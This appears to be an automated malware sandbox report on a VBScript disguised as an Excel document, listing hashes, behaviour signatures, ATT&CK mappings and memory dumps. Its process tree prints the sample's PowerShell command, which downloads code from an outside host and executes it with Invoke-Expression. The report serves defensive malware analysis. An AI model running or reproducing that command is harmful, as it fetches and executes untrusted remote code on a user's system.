5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77

Resubmissions

12/08/2024, 11:41

240812-ntgelazapr8

08/05/2024, 15:00

240508-sdtr7sab2w8

05/04/2024, 15:07

240405-shpdaafc3v10

04/04/2024, 20:19

240404-y3t26aaa3710

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
08/05/2024, 15:00

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General

Target
EXCEL_DOCUMENT_OPEN.vbs
Size 23KB
Sample240508-sdtr7sab2w
SHA256 5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77
MD5 6925ed4c3665b27592c356b0bbd4948d
SHA1 7429a3929f68c87af85266c5d304f3e26e11a8c0
SHA512 333ffd943ea86e75822f6c59412fe12b77f95ddeffd1f0286606faab19b595b27b528457158cc6afe2dcb75455ce9e1fb012ddf171f895135fc90e9d249599b6
SSDEEP 384:J0Y5Y65Go4F0yNWe037NwNAUihUN+0X2RyiUiK3xYUif3JNB6Bcy:hYFFFNWe037NwNAUiKNIRyiUiK3xYUi2
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2868	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2868	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2868	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 2868	2320	WScript.exe	28
PID 2320 wrote to memory of 2868	2320	WScript.exe	28
PID 2320 wrote to memory of 2868	2320	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EXCEL_DOCUMENT_OPEN.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'irreceiver.com/lcyqeksm')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2868-4-0x000007FEF552E000-0x000007FEF552F000-memory.dmp

Download

memory/2868-5-0x000000001B700000-0x000000001B9E2000-memory.dmp

Download

memory/2868-6-0x00000000028F0000-0x00000000028F8000-memory.dmp

Download

memory/2868-7-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Download

memory/2868-8-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Download

memory/2868-10-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Download

memory/2868-9-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Download